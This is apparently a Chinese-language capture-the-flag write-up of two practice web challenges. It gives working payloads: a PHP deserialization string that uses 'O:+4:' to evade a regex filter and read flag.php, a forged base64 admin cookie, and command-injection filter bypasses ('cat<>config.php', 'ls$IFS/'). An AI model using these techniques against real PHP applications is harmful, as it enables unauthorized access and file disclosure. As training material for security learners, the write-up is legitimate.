闲来无事想起安恒开了1月的周周练,就拿来练练手。
自己只做了web
的部分。
Web1 easy
题目很直接的给出了源码
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>
很明显的一个php反序列化漏洞,但是需要绕过/[oc]:\d+:/i
这个条件,而我们对象序列化出来的必须是
O:num:"name":1:{...}
这么一个格式,逃不过这个正则的判断,也找到了php序列化的开头字母代表。
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
尝试用不同的字母绕过,比如说用R
,但是试了一下不行。也参考了一下PHP string序列化与反序列化语法解析不一致带来的安全隐患,发现或许有什么序列化的小trick
,也常使用科学计数法或者十六进制绕过,但是直接报错了。
然后发现了php反序列unserialize的一个小特性,可以在O:4:
中间加入+
,变成O:+4:
这样,与原效果一致,主要原因就是因为php对+
的词法解析是做了再看下一位判断。
所以这题只要加上+
绕过就好了,记得用url编码就好。
?data=O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}
?data=O%3A%2B4%3A"baby"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D
得到flag
Web2 ezweb2
发现Cookie
里有user=dXNlcg%3D%3D
,base64解码得到user=user
,尝试改为admin
,直接进入到了admin.php
的后台。
随便试了一下,发现是个命令执行。命令执行可以参考我上篇文章,巧用命令注入的N种方式。
ls
可以得到
随便fuzz
了一下,发现可以用cat<>config.php
直接读取文件,文件内容如下。
Config.php:
<?php
session_start();
function waf_exec($str){
$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+| )/i";
$str = preg_replace($black_str, "",$str);
return $str;
}
Admin.php
<?php
include 'config.php';
if (!isset($_SESSION['admin'])||$_SESSION['admin']===false) {
die("You are not admin...");
}
if (@$_POST['cmd']) {
$cmd = waf_exec($_POST['cmd']);
$retval = array();
exec($cmd, $retval, $status);
// var_dump($retval);
if ($status == 0) {
$res = implode("\n",$retval);
}else{
$res = 'error';
}
}else{
$res = '';
}
include './templates/admin.html';
index.php
<?php
include 'config.php';
$userdata = @$_COOKIE['user'];
if (!$userdata) {
setcookie("user",base64_encode('user'));
$_SESSION['admin'] = false;
}else{
$user = base64_decode($userdata);
if ($user == 'admin') {
$_SESSION['admin'] = true;
header("Location: admin.php");
}
}
include './templates/index.html';
找了几个目录都找不到flag
,看来应该要到列目录才可以,但是又过滤了空格,就没办法用ls ..
这样,但是绕过空格的方法很多,我们这里直接用ls$IFS/
绕过空格。
看到flag
文件名字,直接读就好了。
总结
整体来说题目还是不错的。还是可以学到一点东西的。尤其是web1的小trick
,对于在绕waf
也有一定的作用。